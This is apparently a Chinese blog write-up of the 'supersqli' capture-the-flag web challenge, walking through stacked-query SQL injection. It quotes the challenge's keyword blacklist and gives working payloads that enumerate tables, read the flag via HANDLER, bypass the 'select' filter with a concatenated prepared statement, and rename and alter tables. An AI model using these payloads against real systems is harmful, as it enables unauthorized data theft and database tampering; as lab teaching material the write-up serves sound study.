攻防世界22-supersqli-CTFWeb
攻防世界22-supersqli-CTFWeb
sql注入,提交1,查询得到信息,看看是否存在注入点
1 union select 1
发现return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
存在过滤,这题有多种方法,涨知识
1';show databases; #
1';use supersqli;show tables;#
0';use supersqli;show columns from `1919810931114514`#
字符串为表名操作时要加反引号。
解法1:
在MySQL中,handler也可以执行查询
可以查一下handler的使用方法:
0';handler `1919810931114514` open;handler `1919810931114514` read first;#
解法2:
预处理,不是过滤了select吗,可以通过concat来拼接select
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
解法3:
技巧型:
我们一开始的1查的是words表,我们可以把1919810931114514更名成word,那样一开始就可以查flag
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 Matriy
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果